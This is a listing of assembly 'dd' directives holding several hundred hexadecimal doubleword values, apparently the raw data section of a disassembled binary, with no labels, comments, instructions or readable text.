		dd 0BEFEF350h, 0DA41EB66h, 1D1BEBD9h, 6E3BEB8Dh, 0EA5F8E8Dh
		dd 4E3D6886h, 0DF747382h, 28304F17h, 75838D69h,	0DEA74262h
		dd 2BB54361h, 21DCDC67h, 0E5ECD478h, 0CA7B68FAh, 92D6178Ch
		dd 0AFD98BE1h, 0FDDB5F7Ah, 0C9A379FDh, 0DAEE1DE1h, 3B32766Ah
		dd 6A4C1A2Bh, 0F872AE6Dh, 0FDE6691h, 0D1F4199Ch, 0F42A55F9h
		dd 9FDF0F62h, 0DE83A214h, 2A137739h, 805E1257h,	6FECD8BEh
		dd 0AF192396h, 0B07CEDF8h, 395D463Ah, 0AAA381E4h, 0AB71FE69h
		dd 0BB616E4h, 0FE536E7Ah, 63197FA5h, 3A2F67F4h,	5B9FD0BBh
		dd 2A5E23A9h, 334BE1Ah,	0E560E56Dh, 0FAAE572Ah,	0A71B79A1h
		dd 7D68D363h, 0EE8C5939h, 0BB7AAE97h, 0B316F421h, 0D405B5A2h
		dd 7EFB8E1h, 15AF0FECh,	0DFC7B843h, 0FC6AE95Fh,	465A8F0Fh
		dd 0B36B7078h, 0AE71F80h, 67F842E3h, 3E6F075Ah,	28011E3Fh
		dd 83683A8Dh, 0ADA37E2h, 0E8EEBCDh, 98D59FDBh, 0ABC2EF63h
		dd 966203CAh, 4B476564h, 4D4A19Bh, 1E2D59FFh, 6B97C7F3h
		dd 0FD42063Eh, 0AE4A75F1h, 91CF8EE8h, 952ECE5Dh, 6AFD2976h
		dd 1C474993h, 0BF567B73h, 35434A77h, 0D7E9422Dh, 909A03FBh
		dd 9DCD6738h, 411D2212h, 0DA35C2BBh, 6E01FC9Bh,	0C9AB993Dh
		dd 40DDB153h, 0B4F8E8ADh
		dd 0C49FBBD2h, 231ED51Ah, 6F0A94E8h, 0AEBA2E9Eh, 0A5FDC619h
		dd 0DE377F7Ch, 0A141D17Dh, 43B344F2h, 0DC7E8112h, 0BAD99073h
		dd 0C1D44F42h, 31A4CD0h, 86A68D94h, 96942CA3h, 0F1B5B97Fh
		dd 9554A299h, 1E839BFBh, 8DBF99AFh, 470083C6h, 0C4CD8530h
		dd 23B6954Ah, 59044B9h,	0F8CDBEB6h, 4FAD8EB7h, 0F07559Eh
		dd 35C617DCh, 0B4143B94h, 0B4A3B3F8h, 7C880525h, 0B1FDFE31h
		dd 0A19F7E32h, 71AC6631h, 7F58134Ch, 6715A3FDh,	5CE4981Ah
		dd 0A2919BF6h, 0AF5BAA8Dh, 0B205A798h, 0D5CF56F3h, 976295E2h
		dd 0E43EAD65h, 0F9CA3502h, 0D1479F09h, 2F8DC3F0h, 59A0E57Ch
		dd 0CCE33966h, 0A4DD38F1h, 9DB8E8BEh, 0B98C9863h, 0B092C4E2h
		dd 15A47204h, 97E29D9Bh, 0A5157ED1h, 6976A8AFh,	45DF7F8Bh
		dd 0EB67846Bh, 0FB191B05h, 0DF555D46h, 42BC81BEh, 8FF5AEDBh
		dd 5A39134Bh, 689BDAEFh, 0E0923A46h, 7C306FBCh,	438682E0h
		dd 1AF469B5h, 7FABA45Ah, 8D11C6F0h, 0AA5915A3h,	0FC416325h
		dd 0F959491Ah, 0EA3D18DDh, 1A972DE1h, 0A168CD8h, 0FF7BAACDh
		dd 0E1F6A82Ah, 2B55DDFEh, 881B988Bh, 0D6AF18A7h, 0FA1F6752h
		dd 0F8D86EA4h, 2BBD81C7h, 0B274BA33h, 0B9AEEF44h, 0A12F53FEh
		dd 76A6439Bh, 7F91C393h, 77679025h, 6D452897h, 0A1755A57h
		dd 0B462CA9Fh, 7AB2070Eh, 50E86615h, 942EA09Fh,	2BC92CB8h
		dd 0F9D463ABh, 0DD110E0h, 0E1766993h, 9F1D7705h, 202844A8h
		dd 65E9505Fh, 15E7E9Fh,	91543939h, 0AE994ADh, 0BF77C8C0h
		dd 0EDCE2E31h, 6C3F0794h, 78295AEBh, 0FACB1D5Dh, 81F90BE2h
		dd 0CE768071h, 457D460Ch, 1C5D25F8h, 0F37626BDh, 664F6FD1h
		dd 0FAC42379h, 0A7EDBC1h, 0B1E2C170h, 0F6B948AAh, 2E35A693h
		dd 17A9ACE1h, 0B05A24D4h, 0DB127B5Ch, 371B6CCEh, 4E01F941h
		dd 481F25B0h, 119958E1h, 1351DF0Fh, 0F963FF46h,	0CDB0502Bh
		dd 0FF33CC95h, 4F557622h, 0EA1B10B2h, 42C0342Ah, 0F5529AFBh
		dd 52319A17h, 7C899416h, 1B344964h, 0CEA12FACh,	0A8865143h
		dd 87F74D9Eh, 27A081CAh, 0DD79D179h, 47F4F35Fh,	648A7A20h
		dd 456E5156h, 553D997Fh, 0D9CB14Dh, 3C365277h, 33694478h
		dd 0A9DB3553h, 31C06C1Ch, 757A3D60h, 0DF1AEB51h, 0DF559B46h
		dd 8FAF2ADFh, 58C561Fh,	61F16210h, 0AF5456CAh, 751978B8h
		dd 5DCEB934h, 0B266EF84h, 4CBD6520h, 1E9B4288h,	2C650FBFh
		dd 0F3F7BFB5h, 56975B75h, 0CD59091Ch, 7D896B0Fh, 82DB4727h
		dd 0A84063FDh, 468B5E73h, 0BC6D2D7Ch, 7188C6D8h, 0A86A2799h
		dd 0D69E4B08h, 0EC46BD68h, 635396FBh, 0F26858E8h, 415D48ABh
		dd 3CFC645Dh, 0F5FD19F2h, 3FC7BEEEh, 0ED3AA1ECh, 0A330E8F0h
		dd 9B8E595Ah, 638DC765h, 27E4A6A1h, 5BF2BF37h, 7E33FAFFh
		dd 0E85B578h, 0DCC44B5Bh, 592CC8E2h, 4F6FF03Dh,	3993D761h
		dd 390F8275h, 646BFA4Bh, 0EE1AC44Bh, 378A1C83h,	0D5D46C12h
		dd 0CA8402AAh, 670BABDEh, 1DCFAF51h, 6AFDDBC5h,	0EB8C712Fh
		dd 0DCADDB71h, 0F364CFB2h, 0EE6D7AC0h, 9CF71CEFh, 8CA4E1FCh
		dd 73AC346Ch, 9290768Bh, 0E3EB3EB1h, 967255A7h,	0B3463E41h
		dd 51B891DFh, 4C9FDDCDh, 0A2507CBFh, 0C0B4D19Dh, 0BC8B8171h
		dd 0FED1DC2Ah, 801952E6h, 1D576CFh, 0FEB5DB2Bh,	0F8682161h
		dd 8F3BE421h, 312B953Dh, 0E6C1A6B7h, 44F8DE9h, 0B915DF7Ch
		dd 0EB43636Dh, 4C9E57A2h, 0A2FA68DCh, 0D05E301Bh, 0D7C300E0h
		dd 0AE97FE9Ah, 3B87AA95h, 0D93BADA6h, 75F6814Ch, 0EB2B4FE6h
		dd 197624D3h, 3ED8FCCCh, 5ED4E5D2h, 93D496EDh, 5D5FCAA3h
		dd 9485AF1h, 5B73C171h,	0A8EAED6Fh, 5733AA2Dh, 108DD812h
		dd 74302C0Dh, 6595240Dh, 0ABB28D65h, 0F0A19354h, 1C9B7F3Eh
		dd 0C4C07A17h, 9F8D1B58h, 959F75Fh, 78106E8Ah, 56B0236Ch
		dd 53B3CC7Dh, 0F2FACD5Eh, 0EA05B8B9h, 108604h, 70F763EAh
		dd 0D4052C52h, 0EE1DD85Ah, 762A1F5Dh, 2F73303Fh, 20A20D0Ch
		dd 53A79965h, 2688DEA8h, 3AD9C59Bh, 0E920D63Fh,	7C8B8F65h
		dd 0D620CB8Dh, 0B1F822D9h, 0F1ACBA4h, 96DE2C6Ch, 0B9CADF89h
		dd 4F751499h, 29B3C90Bh, 0E3B7D345h, 0FE7B9B96h, 1A19F370h
		dd 4CD0F837h, 94A7C062h, 0D8FAE8EBh, 0AB4AA92Ah, 7D426B52h
		dd 0DA09DDD5h, 56D16680h, 87EAABDh, 0EDE49692h,	50AD079Fh
		dd 0B0B31F7Eh, 0A1D6CCAEh, 181E2971h, 0AE1E89C4h, 0A3EBEDF1h
		dd 0BD1607DDh, 6B806737h, 0A5436C13h, 0C6873DEAh, 0D94CBE56h
		dd 78FDD178h, 0D64BD7D5h, 0D74B3E48h, 0DB585DA3h, 489E95E3h
		dd 23693C7Ch, 4A0BC4BFh, 0D78293FBh, 280FF83Ch,	891D3E46h
		dd 0FA389AAFh, 0B957DCC5h, 4ACB723Bh, 0A8AEA9DBh, 0FA971D57h
		dd 4274D74h, 5A31812Fh,	9AFE2A9Bh, 8C8ABCD0h, 0BF12FDA8h
		dd 9F1394CCh, 65E9F2ACh, 6E0DFDA3h, 0F09961A5h,	3E2BFE4Dh
		dd 979EF30h, 0B4D9FE52h, 25E16364h, 0CE93B133h,	0CF001229h
		dd 9B314F7Bh, 0E35A4DDAh, 85658876h, 0B28C3A03h, 0A8A565E1h
		dd 0B3DA4EBDh, 37401AC2h, 8EDA8BACh, 0E8517B4Ah, 0F84538FFh
		dd 0B30C1AC2h, 6D25053Bh, 4D06A7FDh, 70D2AC4Bh,	11907DDEh
		dd 175434C6h, 0BD3F8DE7h, 671CAF0Dh, 984B9D5Dh,	35077CF6h
		dd 9688AAE9h, 0A73F3299h, 0DC2FEECBh, 0CBF16C06h, 331DADFCh
		dd 0EEEE4E6Dh, 6ABE12FFh, 0B3F4BE5Ch, 20B0AD7Bh, 7BF3AC85h
		dd 71C687FCh, 28F8498Ah, 1BDE09F4h, 0B2F72BFh, 0E5BE6647h
		dd 0EFFCC1AEh, 0BB4A05C5h, 0C3697D7Eh, 104ABBB4h, 0F9BDE4CBh
		dd 12B75C5Fh, 0D6214ECFh, 0E17F81E5h, 0E42396C9h, 0BE4E5E44h
		dd 8A813834h, 7ACC5AB7h, 0D5FC11FBh, 57CD2266h,	87F7EDA2h
		dd 0F5D56C2Fh, 0CEA466F8h, 0C053B36Ch, 58FBE144h, 0C348243Dh
		dd 342F1ED5h, 0FABBC8E4h, 0EF88E9Dh, 3A8A2CBFh,	9E6A7E55h
		dd 0D10FF8A0h, 9AAD254Ah, 40F07EC2h, 1B047E62h,	3555E835h
		dd 0C5EBC3F5h, 58A72133h, 9BC7B37Ch, 0E159385Ch, 450B93FEh
		dd 96B9D57Bh, 0FFB4BFBFh, 7FBFFF97h, 0ED7B7468h, 71C59FE4h
		dd 1DB8FCAAh, 1D7FCEE1h, 2DE7E72Dh, 36FDDB3Fh, 4D9B517Ch
		dd 2892690Fh, 0ACD91373h, 4EC55C33h, 7664659Bh,	0A8B6E1F3h
		dd 0D43FDA2Ah, 5F62546Ah, 6CBA03A0h, 523B3927h,	5B9D9E82h
		dd 489FD446h, 0BACD5220h, 0C2636EA0h, 81A32F71h, 47580B3Ah
		dd 97FC6D75h, 0CC8EDC37h, 5712113Ah, 74E41BF6h,	5E2E7B5Fh
		dd 0A34BF819h, 0F6B2B3BCh, 67FE092Fh, 4519809Fh, 0CADE3ED2h
		dd 52FCC0FDh, 5AC97AD1h, 0F5EB7FB6h, 54EF1E81h,	0CE83F13Eh
		dd 335690AFh, 7D5D7FB8h, 2E1F542Fh, 731D2CCDh, 61BD8BDDh
		dd 0DC269308h, 0D221DDF3h, 474146CBh, 0CEE4D37Eh, 8743788Ah
		dd 1C8864CBh, 0EFA0BD02h, 7F687E3Eh, 0A19CFF3Eh, 0F541C879h
		dd 755F81A2h, 9D4375F1h, 0FF3E46C8h, 4B5397ABh,	78C3456Ch
		dd 37CC8D5Fh, 0C93B98A7h, 8A5AB0B1h, 869CEB64h,	46872773h
		dd 3AF31A7Dh, 8701E34Fh, 0BCD8D890h, 1BB5DB02h,	4B9AD95Ah
		dd 0D74A7A90h, 0F8D0F260h, 0DA52257Bh, 9BE90D8Eh, 0AD27BE8Bh
		dd 23ABFACAh, 0FD1CDC6Ah, 0BA616B0Ch, 385FE9FEh, 0A1B58C3h
		dd 768E94A7h, 559942Dh,	25370A84h, 753FE35Ah, 0FAA5F9Dh
		dd 8506BA9Eh, 55602053h, 9EE6AD56h, 6861F39h, 0CFEA57CCh
		dd 0CB9BB2BBh, 0D5C454ABh, 0F36DA354h, 0E6234899h, 8B1717C9h
		dd 58E3DAEDh, 0A49222B1h, 1BED3085h, 0FD6311Eh,	0FA878A51h
		dd 32E716Dh, 54E40305h,	0D5108DD8h, 0EF72A841h,	0CBBAE475h
		dd 989CF35Fh, 7D70F670h
		dd 5F7323E7h, 140E3A3Bh, 58A3A825h, 0B1C0816h, 0FB93316Fh
		dd 59FB669Fh, 0FF3CA922h, 1DE74C2h, 0F6A68EF3h,	0E3609986h
		dd 0EDF5FD03h, 4B177BE4h, 7EE138FDh, 0C9F7D1B4h, 27C46A74h
		dd 0E989FABFh, 58952B12h, 1552204Bh, 25EA5E2h, 0D87295A9h
		dd 9E055EBBh, 1CDC60EEh, 0DFB6B1C4h, 446AC631h,	0EAA01A0Bh
		dd 0D9F75929h, 576CB5h,	5D088E35h, 6FDB5565h, 6F671819h
		dd 7ED58C0Fh, 9F9F18Bh,	0BEF5F60Dh, 4FDDC5F7h, 4BABA95Dh
		dd 2A85718Ah, 0ED50F5DAh, 6A3BD9EDh, 0E8EE6449h, 0BD7A0B46h
		dd 5A655584h, 346F50B5h, 0E324FDh, 70F8FD9Eh, 0EDE667E1h
		dd 457AD852h, 0AB56901Bh, 1EFFE3F2h, 47FA1D6Ah,	4C6077A5h
		dd 711F51ADh, 9486543Dh, 36F03D62h, 0B71B1AADh,	0B2088187h
		dd 0B897D89Bh, 0B9516567h, 290D89CAh, 7FCD87E2h, 3FBB6298h
		dd 7868A3C5h, 970D5254h, 0C96597DCh, 0B03C7029h, 0EB1C46Eh
		dd 0CD976D27h, 8FC5BEC5h, 44707B1Eh, 7185CE85h,	0A71575FAh
		dd 0BBECF11Dh, 8EDD65BAh, 3BB0C8B9h, 922724Fh, 8EB4BD6h
		dd 42D137DEh, 706B2F75h, 2E0F1357h, 81EEBCF6h, 59158205h
		dd 0A786EDB8h, 0AB46813Ah, 41D97684h, 950E5267h, 0F445BE32h
		dd 0E3AC4781h, 0EEE5B61Eh, 1772DA9Bh, 71A7E555h, 9AC57D85h
		dd 0BBE6B2F5h, 0FEB8A252h, 3F192977h, 5FC51F54h, 0F2BEED3Ah
		dd 5F5E3CB3h, 850305FEh, 0A155FC6Eh, 6ADD7B81h,	89814DC5h
		dd 13A372DCh, 0C7921B33h, 8A7F8C51h, 24285876h,	2C9BB6FCh
		dd 93A35359h, 0FFB41675h, 6648BB64h, 6E723E78h,	0B38144F9h
		dd 0E051F797h, 4268E166h, 58435878h, 0A767B5FAh, 0F5546FE4h
		dd 0D25C6781h, 514433C3h, 0BE2A7AB7h, 0F95F70A4h, 54924F16h
		dd 9D8DC4FAh, 0FBF02BADh, 5A9946A2h, 170D25F8h,	0AD1EAD5Ah
		dd 136D592Dh, 43F0D8EBh, 0A35BB1ECh, 0DB2F564Bh, 3AF188AEh
		dd 0D5074949h, 0E8553140h, 0D105CA71h, 76D722F2h, 0F04FAA32h
		dd 97553F60h, 0C363BD6Ch, 85F6515Ch, 55AC1ECFh,	5FEBDA42h
		dd 94C5C70Dh, 0D657414Ch, 15FBDDA2h, 0F47FFAD0h, 63E33EC2h
		dd 0E92AC836h, 0E100CA36h, 0F2EC9E3Ah, 0D52B7261h, 0D7B11EB5h
		dd 58CC00D5h, 349115Ch,	3C2E3AFEh, 8CDC90FAh, 42621991h
		dd 5C473496h, 3FB42AABh, 4AB6F7D9h, 965A73A1h, 0E6C13C92h
		dd 0F0D94ECDh, 0F336E22Fh, 4646F9F0h, 81F15BCBh, 798BB7E5h
		dd 5D934BEEh, 0D6026D89h, 0A5AEE34h, 0EAD48EA5h, 63CB5CEDh
		dd 6DEA7C7Ch, 0C9962254h, 3BE9C29Fh, 6AA6A9A8h,	0DF8E2E61h
		dd 0D439221Eh, 7DE14B2Ch, 7E0F56DDh, 638EC548h,	2D63F1B4h
		dd 62908ADCh, 9B75AFD5h, 68CDF342h, 2EC3A02Eh, 0D9AA42A5h
		dd 0EA7B2612h, 0E2B55375h, 0CF6FC387h, 47097E13h, 64A088EFh
		dd 0FC7FDFCh, 0C54F7CFCh, 30DD8B53h, 0B02B0BF2h, 8CB4DEE2h
		dd 6BAC48AEh, 91671792h, 0BB1DBF77h, 74D34E84h,	0F5A697DDh
		dd 62EBCE06h, 5134CA09h, 0B8173FDDh, 0A653FC9Fh, 1116F001h
		dd 2F0138C7h, 8BAEFF4Ch, 4B654BBFh, 0B7D9CA0h, 0DE079D11h
		dd 4960450Ah, 2834F463h, 0A5C75C08h, 0A7242AD1h, 825A63D7h
		dd 9C1E7783h, 0D57FC65h, 0C63A7329h, 0DF42EEC2h, 0D8C5E98Eh
		dd 0C5C02A57h, 0BDBD7667h, 68C2F7ADh, 7185661h,	0EA578F3Ah
		dd 0DD266EFFh, 73ADB313h, 0B6ED46DBh, 0DD4B1403h, 37367AC8h
		dd 4AD1DC53h, 7A38C86Dh, 75E2188Dh, 9E1C5C0Dh, 9E913237h
		dd 5E57BFFEh, 0D9EBAA68h, 4861A96Eh, 0AFAB2F65h, 0AE5D7078h
		dd 439D7CB5h, 9557265h,	7B1D78B0h, 0B49D26E8h, 4C9D79B4h
		dd 33B62751h, 0BD70B094h, 1405AA9h, 68FC29EFh, 0E778C4E6h
		dd 5C305432h, 54BA726Ch, 0B9CF0C24h, 14FD0ED0h,	96541603h
		dd 4A2E10D8h, 5CEA4C3Ch, 9C7BD15Bh, 37724239h, 8AE6FE6Ch
		dd 971B1F80h, 7939584Ch, 8C2C4E55h, 3E711CC6h, 31BB9F52h
		dd 0A04322A7h, 0D7A33779h, 89FC0E10h, 0DB8B7D9Dh, 0F0C05DADh
		dd 115D3B33h, 0D60F7FBh, 475FFC8Ch, 0EB16360Bh,	15B5B2CEh
		dd 0CA41F039h, 0BF57D27Ch, 1BE7F04h, 0EC7EE771h, 5956E7FDh
		dd 14A79FB2h, 9297E48Fh, 70DCBF47h, 0C75DE158h,	0D5B81CD2h
		dd 5C52E370h, 0A52D178Ch, 0FB3548BBh, 59D196DEh, 0F472A44Bh
		dd 4DDBB997h, 7F19BA9Ah, 0DB692AD7h, 0E5AD68ECh, 2D866E82h
		dd 152AD1BEh, 0C70E81F3h, 39BF3B87h, 0A971ABDAh, 513C985Dh
		dd 0B60A6E19h, 9866FAECh, 68900A91h, 8AF32661h,	0EF9BF13Eh
		dd 541B0013h, 8C87A266h, 42559209h, 90E093CFh, 0A59D8736h
		dd 0B6607AC7h, 0D125DBFAh, 12063D62h, 0F3367E6Ah, 4966FC9Ch
		dd 0EC2CC2A2h, 6AAE1F49h, 52F151Eh, 732C9365h, 5975C6BAh
		dd 9F035AA9h, 4AD3E069h, 150A51F4h, 6617674Fh, 0B900B2B7h
		dd 0F275C579h, 0CA353168h, 3142A80Eh, 0E1E95B8Fh, 599F6A9Dh
		dd 46932810h, 0A397197Ch, 0C4F8D51Bh, 0A3463EAh, 119C652Ah
		dd 3617231Eh, 0FE7E4902h, 0E6A9CB68h, 0ADCF559h, 75E20E25h
		dd 6F25B784h, 0C1F50EB9h, 26A9BC3h, 78744354h, 0F7242FFh
		dd 1FB45CB8h, 0E6BEF818h, 466787A9h, 5ED6AF15h,	0DBAB291Fh
		dd 8AF0B951h, 0AC465B9Fh, 0CAA8BE83h, 21D9D199h, 0C4D2DB4h
		dd 1C178D33h, 809859E8h, 0D268776Ah, 0AB0B2B80h, 0BF6C194Dh
		dd 595B4976h, 0FB5E50Dh, 8EB17EA6h, 19A3C26Ch, 0A319FB93h
		dd 44E8ECBDh, 6A0C6DCh,	83674601h, 0A7387F25h, 39B029BBh
		dd 278E6AFAh, 56ED34F7h, 0BDBFC9D6h, 2B50153Ah,	7817F0B4h
		dd 0C356CCE0h, 56B1ED05h, 833AB5A5h, 0D5CB75DAh, 3A0F2A12h
		dd 52ADF51h, 1F2AD561h,	0C9305F8Ch, 29B80BBh, 783BEF7h
		dd 0DE743BE6h, 14AEAFB7h, 0BD3A0A1Ah, 3231EC77h, 9F7CC97Dh
		dd 0A12CBE09h, 6CAD17A1h, 0B588F189h, 6EC61898h, 0DAB5DBA0h
		dd 0FBD53EFDh, 0BDF13F78h, 576729E7h, 858B0E63h, 5495BC5Dh
		dd 76A031ACh, 0BC089B9Bh, 0A4636AD4h, 0D42A347h, 5CD31FF0h
		dd 155A989Ah, 70F51806h, 0E1F82707h, 2BAD495Fh,	0AAE1D3CEh
		dd 0AA7F96BCh, 35296C7Fh, 0B3E1C2AFh, 0D5171EC7h, 946A7CFAh
		dd 48FAF4C9h, 45265E82h, 0E856353Bh, 0F5BBD79Fh, 717FE16Fh
		dd 0E9EB2AE3h, 96127F0Ah, 1E94EF1h, 0DA26BEBBh,	0D72594ABh
		dd 699CD3ADh, 7AAE528Bh, 99F1F57Ch, 0EC533CF9h,	0EABC6CD6h
		dd 0CFC16D1Bh, 0C5B91374h, 0FAA7C287h, 4003848Bh, 737DBCB1h
		dd 0E16A0EB7h, 5EFAE45Ah, 0ABD3C421h, 8223ACEAh, 0CFB344BBh
		dd 88C11456h, 0A12A84BAh, 6528AB74h, 0A3779A80h, 44E1FA3Bh
		dd 0AE0353Fh, 7E35F82Fh, 0CED2DA60h, 39A44D3Fh,	8CA2C929h
		dd 2CF776B0h, 47641E0Dh, 0A80ED072h, 0BA66EDD3h, 0C59E4115h
		dd 0C9661019h, 956B4B17h, 0F5833125h, 730A8DE5h, 0F44C48Ah
		dd 98D64962h, 3DB18D7Dh, 575AA1F8h, 0C52D455Ch,	0E95ED07Ah
		dd 0F95DC39h, 0F2197D74h, 0CFA0C124h, 68A478A8h, 0C61998DBh
		dd 3BB04646h, 0F99E8482h, 67D2F092h, 45FD07B3h,	46F26E3Fh
		dd 3CFB7F49h, 4495E814h, 3B9850FCh, 790E6B0Dh, 159509B5h
		dd 524D7416h, 0A85083A0h, 0D81169A0h, 0E61CC59Fh, 21CCE9FAh
		dd 0AAF6D96Dh, 62805FC7h, 0A93B5871h, 88FE7384h, 0F9FFC951h
		dd 1D4BF4D7h, 5DE89F51h, 0FB2A458Dh, 0FB19BAFAh, 2CBD75D5h
		dd 0B36646A7h, 0C6B02D1h, 0E19C3855h, 0B3DD3554h, 0E7349AC4h
		dd 32A4E57Ah, 2E32D49Ch, 19E8B60Dh, 44E5E8FAh, 0E8F1BB2Dh
		dd 0BA3FE5F2h, 5317754h, 556FC746h, 0FEB8CBBDh,	1044A6C2h
		dd 0DAF87815h, 0DCDDADEAh
		dd 30FC95CBh, 0A18B50AAh, 23687C41h, 0C7730F75h, 82B2E4D0h
		dd 0B40E83C6h, 0BA742E47h, 929F05E9h, 0D26094EBh, 0AC67E59Fh
		dd 0AF3A787Dh, 0CECAD362h, 0A02AE14Fh, 0C2D11FB7h, 0D2205DC7h
		dd 44EFEBFDh, 76C2EF3Bh, 0E5FA5A0h, 0DA7F0AD7h,	3477E0Ah
		dd 0A5B03598h, 664A6B69h, 22597A86h, 4B427CFEh,	430C7D6Eh
		dd 27FE5766h, 8B4A44EFh, 3ED32BEh, 13E22A0Ch, 0EA2664F5h
		dd 0B4838620h, 72CF2AB8h, 66E4D13Bh, 66630DABh,	65DBC626h
		dd 95274B83h, 28750EBh,	5617EBBBh, 176EE18Bh, 82F9DA8Fh
		dd 5ADEC14Ah, 88CE4EA7h, 0B4AB3796h, 151C31BBh,	0DE6289Ch
		dd 0D55BAB30h, 3471DAB7h, 0ECC1EFAFh, 669A8ED5h, 2A9A655Bh
		dd 552C7816h, 817BC4h, 1B5E214Bh, 5AB4FF6Dh, 0E9B15557h
		dd 0EA6182C3h, 0DF1C5DBDh, 34913E0Ch, 4BFC21EBh, 0DFD6EB74h
		dd 0DABED31Fh, 35CF1DF8h, 56EA968Bh, 1B29F31Eh,	65A5CC7Ch
		dd 3176F54h, 5F96D50Fh,	94967008h, 0AE1DF15Dh, 9947014Eh
		dd 0CEBE4DCEh, 7FC8A1F8h, 6711176h, 76AD3F44h, 0CF3914F5h
		dd 0AC7493BFh, 0E93D82DAh, 0D9028B61h, 2264B93Eh, 32629269h
		dd 2B4C11F6h, 0BBBB543Eh, 993C24B2h, 0A7F7A9BFh, 44BBBA7Bh
		dd 978AF954h, 0E518AE77h, 0E09E0EFDh, 0A0B78DC2h, 0EEA2FB8h
		dd 0BB419A78h, 776E7E77h, 0D14DB89Ah, 4FF704DDh, 0AED2467Bh
		dd 0AA9816B8h, 7CB14DA1h, 0CF74EBF0h, 52F5C09h,	0FAE6D2E9h
		dd 0D4CFE380h, 0BE947A61h, 8A2A6755h, 0AC83FE2Ah, 788E5FB4h
		dd 0FB275026h, 0DA4EC26h, 0EAC6766Dh, 36A2DA82h, 9DE0BF74h
		dd 8CE7FDDDh, 68B97853h, 0CC7F92AFh, 9CBABB7Bh,	7E2A56BBh
		dd 0C57A5599h, 0D9045E4Fh, 1E5106AAh, 0EB04D2D1h, 6CD343A3h
		dd 64ED348Fh, 9E0E0B73h, 346BAEF6h, 0C5C5F9B5h,	0D87E03C7h
		dd 635FBB18h, 4E7D3F79h, 3D57D8BAh, 0D51F4647h,	9597AF48h
		dd 72986F26h, 4A68F7DAh, 377AE810h, 3DA5ADDBh, 0B97C293Eh
		dd 0FB36F5B0h, 0B6AAD0C8h, 3CEA67CEh, 53CBF0C5h, 0F9BB5D76h
		dd 0F953C7A9h, 1D434258h, 0D6AC1A25h, 0FFACF13Fh, 725D9D49h
		dd 38F31455h, 99E7EFE9h, 0E8A3BC75h, 2B286330h,	0C05149E5h
		dd 0C3F172BAh, 16937F90h, 67C8B727h, 679B0FC2h,	71A4E84Fh
		dd 0B6A4E7C2h, 689AAFB9h, 38C6DF5Fh, 17296557h,	3FF482AEh
		dd 98835DB5h, 0ED84A0D5h, 5DE74E6Dh, 0F9D6A1CCh, 0A76DD93Eh
		dd 1A9C4C8Eh, 3850D799h, 4D4A680Ch, 5181C819h, 0E9A11FD2h
		dd 0E73760DEh, 0FAFD3535h, 50152977h, 2FEE51FAh, 581A28DBh
		dd 70654DFh, 0B4187217h, 0B973DAE4h, 2E278AB9h,	57DA2D67h
		dd 90B3DBF5h, 1FC69AA2h, 0AAD88BEEh, 368A12CEh,	4B2DA36Ch
		dd 5448AA7Eh, 0D1ACDCDDh, 95024F26h, 983091BAh,	43827218h
		dd 5B531114h, 64FCE9B8h, 68A867BCh, 79E82345h, 0EDACA67Ah
		dd 0C58E5DE2h, 7D874B40h, 747A588Dh, 0A3336078h, 5467271Fh
		dd 0B51C774Bh, 0DE864933h, 6513099Dh, 9680BAB8h, 5631AFDh
		dd 7CD1AE89h, 0BAE78F70h, 53D9BC0Fh, 8BBBA6D2h,	76BCF621h
		dd 2BC51009h, 2CB1EE36h, 0BE2D5B71h, 41A8BFD2h,	10F767E3h
		dd 4C6CABBAh, 1B8DE5F6h, 46FCA46Eh, 1D4B7738h, 0C3FBC4D9h
		dd 0B4BAE82Ah, 7A80402Bh, 305007EDh, 4CBDC759h,	9F43026Bh
		dd 2EDA4ECAh, 0E78BF137h, 1D2CE911h, 3E5F2007h,	1B5ED212h
		dd 0C450078Fh, 0EB4A4514h, 0DE17D45Dh, 0EC85E0C6h, 7E9CFEB0h
		dd 97A0BDCCh, 67D5B10Ch, 0A9C715DDh, 0D84A5C3Fh, 1F58F5FCh
		dd 0FAA62FBEh, 0C9105751h, 3EFCCE8Ch, 57F70E4h,	0EECA3EA7h
		dd 6B534AA4h, 0DA114482h, 6E627492h, 147381FDh,	0E0978FC4h
		dd 63FD1FF3h, 0C1D28572h, 0B8F7999Fh, 2462C0A2h, 65C565D6h
		dd 485C61F7h, 175BA675h, 0B2B1102Ah, 0C10EA703h, 11C7A46Bh
		dd 0AFF2EFADh, 5303C7B1h, 627C051Dh, 0C318E395h, 9786FD25h
		dd 4CE7F76Ah, 56AB4A18h, 172907D9h, 8A76CFADh, 3EBA3BC5h
		dd 9BDAA773h, 0C1EFF4ACh, 0F94C4E07h, 6FEEF577h, 9695B117h
		dd 649E54C2h, 27995290h, 8EF251EAh, 0C925481h, 5594D609h
		dd 0EA3E546Bh, 67664B45h, 9989CF23h, 4A381563h,	0CCC555D9h
		dd 0F8D0FB74h, 2B52F965h, 3D8DEF11h, 0D7B1FB1Bh, 5A29E84Eh
		dd 0B3B3F6FDh, 2BE6B951h, 0A476502Ah, 15F622C7h, 149BC90Eh
		dd 842E404Eh, 3D1A7B64h, 32AE670Ah, 7FA790ABh, 0BB53DE02h
		dd 449FB485h, 0DFA29CA0h, 620E89CFh, 3C5EAF93h,	0D8DBCEE7h
		dd 0DADAA768h, 0D0EF39F9h, 6563A7FCh, 0A0069315h, 14DA2964h
		dd 7B186E3Bh, 0FC65B5F5h, 0C883B5F0h, 313513E4h, 0AA536821h
		dd 84E853F0h, 4AF9550h,	6CE4D5A3h, 4DAEE721h, 1D8C4311h
		dd 5D1A28C3h, 475B0FEEh, 0BF1834FCh, 6EC7CB5Ah,	2FEAE14Fh
		dd 27FE2140h, 30F3B742h, 6DA44B44h, 25EED7B2h, 5AED8161h
		dd 27958A31h, 4FCF9C21h, 0BDB3352h, 364787E7h, 0C0502B6Bh
		dd 5C77F0Fh, 0B288228Bh, 603526ABh, 5E01D859h, 6ABE7A0Ch
		dd 0C8495064h, 0F604D955h, 5B1B4FF7h, 589EFFD2h, 59E9ED70h
		dd 89B02464h, 87976E2Ch, 11BC4BADh, 1158F07Ch, 9AE04BF2h
		dd 0D93937CEh, 1E46E7AFh, 4B234235h, 0EDD3C718h, 9A8D242Eh
		dd 0EEB1901Dh, 3E160A5Bh, 0EFE2BFC9h, 8A2707ABh, 0FB615C06h
		dd 16C710E0h, 45A76179h, 0EC898BE3h, 272DF289h,	0C95607DFh
		dd 22DAFE44h, 0A9185A68h, 0B100302Ch, 5214C1DCh, 0C35D38AEh
		dd 0E8D6F7F5h, 2D340C34h, 0EE63703Fh, 0B78B9FA9h, 21A4B82Fh
		dd 0B226D042h, 5A565C2Bh, 0AB47B193h, 0C8081CA6h, 3C8F174Bh
